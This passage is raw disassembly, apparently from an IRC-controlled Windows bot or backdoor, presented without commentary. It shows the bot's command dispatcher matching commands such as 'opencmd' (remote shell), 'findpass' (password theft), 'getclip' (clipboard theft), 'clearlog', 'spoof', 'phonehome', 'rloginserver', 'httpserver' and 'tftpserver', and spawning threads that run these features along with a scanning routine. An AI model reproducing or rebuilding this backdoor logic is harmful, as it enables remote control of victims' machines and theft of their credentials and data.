		test	eax, eax
		pop	ecx
		jz	loc_404268
		push	edi
		push	offset aClearlog ; "clearlog"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aClg	; "clg"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40424C
		push	edi
		push	offset aNetinfo	; "netinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aNi	; "ni"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404212
		push	edi
		push	offset aSysinfo	; "sysinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aSi	; "si"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041E7
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aKosomaky4d ; "KOSOMAKY4D"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4041AD
		push	edi
		push	offset aProcs	; "procs"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aPs	; "ps"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_40408D
		push	edi
		push	offset aUptime	; "uptime"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aUp	; "up"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_404005
		push	edi
		push	offset aDriveinfo ; "driveinfo"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aDrv	; "drv"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FE8
		push	edi
		push	offset aTestdlls ; "testdlls"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aDll	; "dll"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403FCF
		push	edi
		push	offset aOpencmd	; "opencmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aOcmd	; "ocmd"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F5B
		push	edi
		push	offset aCmdstop	; "cmdstop"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4033B1
		push	[ebp+esi+var_8C]
		push	0Ah
		push	offset dword_42C574
		push	offset dword_42C568
		jmp	loc_408D08
; ---------------------------------------------------------------------------


loc_4033B1:				; CODE XREF: sub_401ACD+18CAj
		push	edi
		push	offset dword_42C564
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4034C7
		cmp	[ebp+var_8], ebx
		jnz	short loc_4033E5
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42C550
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4033E5:				; CODE XREF: sub_401ACD+18FCj
		mov	eax, [ebp+arg_18]
		xor	edi, edi
		mov	[ebp+arg_18], eax
		jmp	short loc_4033F2
; ---------------------------------------------------------------------------


loc_4033EF:				; CODE XREF: sub_401ACD+196Cj
		mov	eax, [ebp+arg_18]


loc_4033F2:				; CODE XREF: sub_401ACD+1920j
		cmp	[eax], bl
		jz	short loc_4033F9
		inc	eax
		jmp	short loc_4033FE
; ---------------------------------------------------------------------------


loc_4033F9:				; CODE XREF: sub_401ACD+1927j
		mov	eax, offset aEmpty ; "<Empty>"


loc_4033FE:				; CODE XREF: sub_401ACD+192Aj
		push	eax
		push	edi
		lea	eax, [ebp+var_2C4]
		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_41C266
		push	1
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	[ebp+arg_18], 80h
		add	esp, 24h
		inc	edi
		cmp	edi, 3
		jl	short loc_4033EF
		push	offset unk_42C520
		call	sub_415D38
		pop	ecx


loc_403446:				; CODE XREF: sub_401ACD+1BFDj
					; sub_401ACD+2EFAj
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		mov	[ebp+arg_20], edi
		jz	loc_401F75
		push	[ebp+arg_8]
		push	offset aSpoof	; "spoof"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_404AAB
		push	offset aOff	; "off"
		push	edi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_4049D9
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C4EC
		push	eax
		mov	dword_4CF180, ebx
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_40349D:				; CODE XREF: sub_401ACD+2FD9j
		cmp	[ebp+var_8], ebx
		jnz	loc_409644
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869


loc_4034BF:				; CODE XREF: sub_401ACD+7032j
		add	esp, 14h
		jmp	loc_409644
; ---------------------------------------------------------------------------


loc_4034C7:				; CODE XREF: sub_401ACD+18F3j
		push	edi
		push	offset aGetclip	; "getclip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aGc	; "gc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F1A
		push	edi
		push	offset aFlusharp ; "flusharp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFarp	; "farp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403F03
		push	edi
		push	offset aFlushdns ; "flushdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aFdns	; "fdns"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403ECB
		push	edi
		push	offset aCurrentip ; "currentip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aCip	; "cip"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403E91
		push	edi
		push	offset aRloginserver ; "rloginserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aRlogin	; "rlogin"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403D56
		push	edi
		push	offset aHttpserver ; "httpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aHttp	; "http"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403BCA
		push	edi
		push	offset aTftpserver ; "tftpserver"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aTftp	; "tftp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403A90
		push	edi
		push	offset aShitycrash ; "shitycrash"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_403653
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C444
		push	eax
		call	sub_41C266
		cmp	[ebp+var_8], ebx
		pop	ecx
		pop	ecx
		jnz	short loc_403632
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403632:				; CODE XREF: sub_401ACD+1B47j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		mov	[esp+10h+var_10], offset aShitycrash ; "shitycrash"
		push	[ebp+esi+var_7C]
		call	sub_41CA50
		jmp	loc_4097D0
; ---------------------------------------------------------------------------


loc_403653:				; CODE XREF: sub_401ACD+1B2Fj
		push	edi
		push	offset aAsc	; "asc"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aAs	; "as"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_403789
		push	edi
		push	offset aPhonehome ; "phonehome"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4036AA
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: DADI	Are You	T"...
		push	[ebp+arg_4]
		call	sub_409823


loc_4036A2:				; CODE XREF: sub_401ACD+47Bj
		add	esp, 0Ch
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4036AA:				; CODE XREF: sub_401ACD+1BBFj
		push	edi
		push	offset aFindpass ; "findpass"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4036D0
		push	edi
		push	offset aFp	; "fp"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_403446


loc_4036D0:				; CODE XREF: sub_401ACD+1BECj
		push	[ebp+var_88]
		lea	eax, [ebp+var_FEC]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+arg_4]
		add	esp, 0Ch
		mov	[ebp+var_FF0], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_F68], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_F64], eax
		push	offset unk_42C3C4
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	26h
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	[ebp+var_F6C], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_FF0]
		push	ebx
		push	eax
		push	offset sub_4172C1
		push	ebx
		push	ebx
		nop
		call	near ptr 26A048Eh
		mov	ecx, [ebp+var_F6C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403778


loc_403762:				; CODE XREF: sub_401ACD+1CA9j
		cmp	[ebp+var_F60], ebx
		jnz	loc_4082DE
		push	32h
		call	near ptr 26A0428h
		nop
		jmp	short loc_403762
; ---------------------------------------------------------------------------


loc_403778:				; CODE XREF: sub_401ACD+1C93j
		call	near ptr 26A0E98h
		nop
		push	eax
		push	offset unk_42C388
		jmp	loc_4082CF
; ---------------------------------------------------------------------------


loc_403789:				; CODE XREF: sub_401ACD+1B95j
					; sub_401ACD+1BAAj
		mov	al, byte_4319DA
		mov	[ebp+arg_0], ebx
		cmp	al, bl
		mov	edx, offset byte_4319DA
		jz	loc_401F75
		mov	ecx, edx


loc_4037A0:				; CODE XREF: sub_401ACD+1CDBj
		inc	[ebp+arg_0]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_4037A0
		cmp	al, bl
		jz	loc_401F75
		mov	[ebp+arg_18], edx


loc_4037B5:				; CODE XREF: sub_401ACD+1FAEj
		push	0Bh
		call	sub_40B602
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_0]
		mov	edx, eax
		mov	eax, 320h
		add	edx, ecx
		cmp	edx, eax
		jle	short loc_403808
		push	ecx
		lea	eax, [ebp+var_2C4]
		push	offset dword_42C34C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 20h
		jmp	loc_403A72
; ---------------------------------------------------------------------------


loc_403808:				; CODE XREF: sub_401ACD+1D06j
		or	[ebp+var_730], 0FFFFFFFFh
		cmp	dword_4317F8, ebx
		mov	[ebp+var_734], 64h
		mov	[ebp+var_748], 5
		mov	[ebp+var_744], eax
		mov	[ebp+arg_0], ebx
		jz	short loc_403875
		mov	eax, [ebp+arg_18]
		mov	esi, offset dword_4317F8
		lea	edi, [eax-0Ah]


loc_40383F:				; CODE XREF: sub_401ACD+1D8Aj
		lea	eax, [esi-28h]
		push	edi
		push	eax
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40385B
		inc	[ebp+arg_0]
		add	esi, 40h
		cmp	[esi], ebx
		jnz	short loc_40383F
		jmp	short loc_403875
; ---------------------------------------------------------------------------


loc_40385B:				; CODE XREF: sub_401ACD+1D80j
		mov	eax, [ebp+arg_0]
		mov	ecx, eax
		mov	[ebp+var_730], eax
		shl	ecx, 6
		mov	ecx, dword_4317F8[ecx]
		mov	[ebp+var_74C], ecx


loc_403875:				; CODE XREF: sub_401ACD+1D65j
					; sub_401ACD+1D8Cj
		cmp	[ebp+var_74C], ebx
		jz	loc_403A86
		push	10h
		lea	eax, [ebp+var_2D4]
		pop	esi
		push	eax
		lea	eax, [ebp+var_30C]
		push	eax
		mov	[ebp+var_2D4], esi
		push	[ebp+arg_4]
		call	dword_4CB978
		mov	al, [ebp+var_8FF]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_308], eax
		push	[ebp+var_308]
		call	dword_4CBA60
		push	eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41BFD0
		xor	eax, eax
		cmp	[ebp+var_8FF], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_860]
		push	eax
		call	sub_41C820
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_24+3], bl
		jle	short loc_40391D


loc_4038FB:				; CODE XREF: sub_401ACD+1E4Ej
		cmp	eax, ebx
		jz	short loc_40391D
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_860]
		push	30h
		push	eax
		call	sub_41C820
		inc	byte ptr [ebp+arg_24+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_24+3]
		cmp	ecx, esi
		jl	short loc_4038FB


loc_40391D:				; CODE XREF: sub_401ACD+1E2Cj
					; sub_401ACD+1E30j
		mov	eax, [ebp+arg_4]
		push	[ebp+var_88]
		mov	esi, [ebp+var_4]
		mov	edi, [ebp+var_8]
		mov	[ebp+var_750], eax
		lea	eax, [ebp+var_850]
		push	80h
		push	eax
		mov	[ebp+var_720], 1
		mov	[ebp+var_728], esi
		mov	[ebp+var_724], edi
		call	sub_41C360
		push	offset byte_43DB88
		push	offset aF	; "#f"
		call	sub_41CA50
		add	esp, 14h
		test	eax, eax
		jz	short loc_40398A
		push	offset aF	; "#f"
		lea	eax, [ebp+var_7D0]
		push	80h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403990
; ---------------------------------------------------------------------------


loc_40398A:				; CODE XREF: sub_401ACD+1EA0j
		mov	[ebp+var_7D0], bl


loc_403990:				; CODE XREF: sub_401ACD+1EBBj
		cmp	[ebp+var_720], ebx
		mov	eax, offset aRandom ; "Random"
		jnz	short loc_4039A2
		mov	eax, offset aSequential	; "Sequential"


loc_4039A2:				; CODE XREF: sub_401ACD+1ECEj
		push	[ebp+var_734]
		lea	ecx, [ebp+var_860]
		push	[ebp+var_744]
		push	[ebp+var_748]
		push	[ebp+var_74C]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C2CC
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	0Bh
		push	eax
		call	sub_40B3BA
		add	esp, 2Ch
		mov	[ebp+var_740], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_860]
		push	ebx
		push	eax
		push	offset loc_40C600
		push	ebx
		push	ebx
		call	near ptr 26A048Eh
		nop
		mov	ecx, [ebp+var_740]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403A2C


loc_403A1A:				; CODE XREF: sub_401ACD+1F5Dj
		cmp	[ebp+var_71C], ebx
		jnz	short loc_403A47
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_403A1A
; ---------------------------------------------------------------------------


loc_403A2C:				; CODE XREF: sub_401ACD+1F4Bj
		nop
		call	near ptr 26A0E98h
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C290
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403A47:				; CODE XREF: sub_401ACD+1F53j
		cmp	edi, ebx
		jnz	short loc_403A65
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	esi
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403A65:				; CODE XREF: sub_401ACD+1F7Cj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		pop	ecx


loc_403A72:				; CODE XREF: sub_401ACD+1D36j
		add	[ebp+arg_18], 0Bh
		mov	eax, [ebp+arg_18]
		cmp	[eax], bl
		jnz	loc_4037B5
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_403A86:				; CODE XREF: sub_401ACD+1DAEj
		push	offset unk_42C258
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403A90:				; CODE XREF: sub_401ACD+1B05j
					; sub_401ACD+1B1Aj
		push	5
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403AA6
		push	offset unk_42C238
		jmp	loc_406E22
; ---------------------------------------------------------------------------


loc_403AA6:				; CODE XREF: sub_401ACD+1FCDj
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		jz	short loc_403AC9
		push	eax
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		jmp	short loc_403ADD
; ---------------------------------------------------------------------------


loc_403AC9:				; CODE XREF: sub_401ACD+1FE2j
		mov	edi, 104h
		lea	eax, [ebp+var_2D54]
		push	edi
		push	eax
		push	ebx
		nop
		call	near ptr 2690000h


loc_403ADD:				; CODE XREF: sub_401ACD+1FFAj
		mov	esi, [ebp+esi+var_88]
		cmp	esi, ebx
		jnz	short loc_403AED
		mov	esi, offset byte_429108


loc_403AED:				; CODE XREF: sub_401ACD+2019j
		push	esi
		lea	eax, [ebp+var_2C50]
		push	edi
		push	eax
		call	sub_41C360
		mov	eax, dword_429078
		push	7Fh
		push	[ebp+var_88]
		mov	[ebp+var_2B44],	eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_2B48],	ebx
		mov	[ebp+var_2D58],	eax
		lea	eax, [ebp+var_2B40]
		push	eax
		call	sub_41BFD0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_2AC0],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_2ABC],	eax
		lea	eax, [ebp+var_2D54]
		push	eax
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_2B44]
		push	offset unk_42C204
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	5
		push	eax
		call	sub_40B3BA
		add	esp, 1Ch
		mov	[ebp+var_2B4C],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_2D58]
		push	ebx
		push	eax
		push	offset byte_412197
		push	ebx
		push	ebx
		call	near ptr 26A048Eh
		nop
		mov	ecx, [ebp+var_2B4C]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403BB9


loc_403BA3:				; CODE XREF: sub_401ACD+20EAj
		cmp	[ebp+var_2AB8],	ebx
		jnz	loc_4081AD
		push	32h
		call	near ptr 26A0428h
		nop
		jmp	short loc_403BA3
; ---------------------------------------------------------------------------


loc_403BB9:				; CODE XREF: sub_401ACD+20D4j
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42C1C8
		jmp	loc_408E86
; ---------------------------------------------------------------------------


loc_403BCA:				; CODE XREF: sub_401ACD+1ADBj
					; sub_401ACD+1AF0j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403BE9
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403BEE
; ---------------------------------------------------------------------------


loc_403BE9:				; CODE XREF: sub_401ACD+2106j
					; sub_401ACD+2111j
		mov	eax, dword_42907C


loc_403BEE:				; CODE XREF: sub_401ACD+211Aj
		mov	esi, [ebp+esi+var_88]
		mov	[ebp+var_36CC],	eax
		xor	eax, eax
		cmp	[ebp+var_8FC], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_36B8],	eax
		jz	short loc_403C21
		lea	eax, [ebp+var_37D0]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		jmp	short loc_403C4C
; ---------------------------------------------------------------------------


loc_403C21:				; CODE XREF: sub_401ACD+2141j
		lea	eax, [ebp+var_49F4]
		push	104h
		push	eax
		call	near ptr 26A0000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_4C8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_49F4]
		push	eax
		call	sub_41C3B1
		add	esp, 14h


loc_403C4C:				; CODE XREF: sub_401ACD+2152j
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		cmp	[ebp+eax+var_37D1], 5Ch
		pop	ecx
		jnz	short loc_403C77
		lea	eax, [ebp+var_37D0]
		push	eax
		call	sub_41B9C0
		pop	ecx
		mov	[ebp+eax+var_37D1], bl


loc_403C77:				; CODE XREF: sub_401ACD+2194j
		push	[ebp+var_88]
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_3A58]
		mov	[ebp+var_3A5C],	esi
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_36BC],	eax
		lea	eax, [ebp+var_37D0]
		mov	[ebp+var_36C0],	edi
		push	eax
		push	[ebp+var_36CC]
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_36C4],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3A5C]
		push	ebx
		push	eax
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	near ptr 26A048Eh
		nop
		mov	ecx, [ebp+var_36C4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403D2B


loc_403D19:				; CODE XREF: sub_401ACD+225Cj
		cmp	[ebp+var_36B0],	ebx
		jnz	short loc_403D46
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_403D19
; ---------------------------------------------------------------------------


loc_403D2B:				; CODE XREF: sub_401ACD+224Aj
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42C150


loc_403D37:				; CODE XREF: sub_401ACD+23BFj
					; sub_401ACD+4BDCj ...
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_403D46:				; CODE XREF: sub_401ACD+2252j
					; sub_401ACD+23A3j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_4082DE
		push	ebx
		push	edi
		jmp	loc_4071A3
; ---------------------------------------------------------------------------


loc_403D56:				; CODE XREF: sub_401ACD+1AB1j
					; sub_401ACD+1AC6j
		mov	edi, [ebp+esi+var_8C]
		cmp	edi, ebx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		test	eax, eax
		pop	ecx
		jz	short loc_403D75
		push	edi
		call	sub_41C159
		pop	ecx
		jmp	short loc_403D7A
; ---------------------------------------------------------------------------


loc_403D75:				; CODE XREF: sub_401ACD+2292j
					; sub_401ACD+229Dj
		mov	eax, dword_429080


loc_403D7A:				; CODE XREF: sub_401ACD+22A6j
		mov	[ebp+var_1828],	eax
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		jnz	short loc_403D91
		lea	eax, [ebp+var_C4]


loc_403D91:				; CODE XREF: sub_401ACD+22BCj
		push	eax
		lea	eax, [ebp+var_1968]
		push	40h
		push	eax
		call	sub_41C360
		mov	esi, [ebp+esi+var_84]
		add	esp, 0Ch
		cmp	esi, ebx
		jnz	short loc_403DB3
		mov	esi, offset byte_43DB88


loc_403DB3:				; CODE XREF: sub_401ACD+22DFj
		push	esi
		lea	eax, [ebp+var_1928]
		push	100h
		push	eax
		call	sub_41C360
		add	esp, 0Ch
		lea	eax, [ebp+var_19E8]
		push	[ebp+var_88]
		push	80h
		push	eax
		call	sub_41C360
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_1814],	eax
		lea	eax, [ebp+var_1968]
		push	eax
		mov	[ebp+var_19EC],	esi
		push	[ebp+var_1828]
		mov	[ebp+var_1818],	edi
		push	esi
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2C4]
		push	offset unk_42C114
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	9
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	[ebp+var_1824],	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_19EC]
		push	ebx
		push	eax
		push	offset word_41144E
		push	ebx
		push	ebx
		call	near ptr 26A048Eh
		nop
		mov	ecx, [ebp+var_1824]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_403E80


loc_403E6A:				; CODE XREF: sub_401ACD+23B1j
		cmp	[ebp+var_1810],	ebx
		jnz	loc_403D46
		push	32h
		nop
		call	near ptr 26A0428h
		jmp	short loc_403E6A
; ---------------------------------------------------------------------------


loc_403E80:				; CODE XREF: sub_401ACD+239Bj
		nop
		call	near ptr 26A0E98h
		push	eax
		push	offset unk_42C0D8
		jmp	loc_403D37
; ---------------------------------------------------------------------------


loc_403E91:				; CODE XREF: sub_401ACD+1A87j
					; sub_401ACD+1A9Cj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jz	short loc_403EA4
		push	esi
		call	sub_41C159
		jmp	short loc_403EAB
; ---------------------------------------------------------------------------


loc_403EA4:				; CODE XREF: sub_401ACD+23CDj
		push	0Bh
		call	sub_40B621


loc_403EAB:				; CODE XREF: sub_401ACD+23D5j
		cmp	eax, ebx
		pop	ecx
		jz	loc_409644
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_40BD1A
		jmp	loc_404376
; ---------------------------------------------------------------------------


loc_403ECB:				; CODE XREF: sub_401ACD+1A5Dj
					; sub_401ACD+1A72j
		mov	eax, dword_4CB8F0
		cmp	eax, ebx
		jz	short loc_403EE8
		call	eax
		test	eax, eax
		jz	short loc_403EE1
		push	offset unk_42C0B4
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE1:				; CODE XREF: sub_401ACD+240Bj
		push	offset unk_42C088
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403EE8:				; CODE XREF: sub_401ACD+2405j
		push	offset unk_42C05C


loc_403EED:				; CODE XREF: sub_401ACD+2412j
					; sub_401ACD+2419j ...
		lea	eax, [ebp+var_2C4]
		push	200h
		push	eax
		call	sub_41C360
		jmp	loc_406BFB
; ---------------------------------------------------------------------------


loc_403F03:				; CODE XREF: sub_401ACD+1A33j
					; sub_401ACD+1A48j
		call	sub_40A928
		test	eax, eax
		jz	short loc_403F13
		push	offset unk_42C038
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F13:				; CODE XREF: sub_401ACD+243Dj
		push	offset unk_42C00C
		jmp	short loc_403EED
; ---------------------------------------------------------------------------


loc_403F1A:				; CODE XREF: sub_401ACD+1A09j
					; sub_401ACD+1A1Ej
		cmp	[ebp+var_8], ebx
		jnz	short loc_403F39
		push	ebx
		push	[ebp+var_4]
		push	offset dword_42BFF4
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_403F39:				; CODE XREF: sub_401ACD+2450j
		push	ebx
		push	[ebp+var_4]
		call	sub_418723
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		push	offset unk_42BFD8
		jmp	loc_40423F
; ---------------------------------------------------------------------------


loc_403F5B:				; CODE XREF: sub_401ACD+18A0j
					; sub_401ACD+18B5j
		push	0Ah
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jle	short loc_403F6E
		push	offset unk_42BFAC
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F6E:				; CODE XREF: sub_401ACD+2498j
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_41A1B1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_403F8A
		push	offset unk_42BF84
		jmp	short loc_403F8F
; ---------------------------------------------------------------------------


loc_403F8A:				; CODE XREF: sub_401ACD+24B4j
		push	offset unk_42BF64


loc_403F8F:				; CODE XREF: sub_401ACD+249Fj
					; sub_401ACD+24BBj ...
		lea	eax, [ebp+var_2C4]
		push	eax
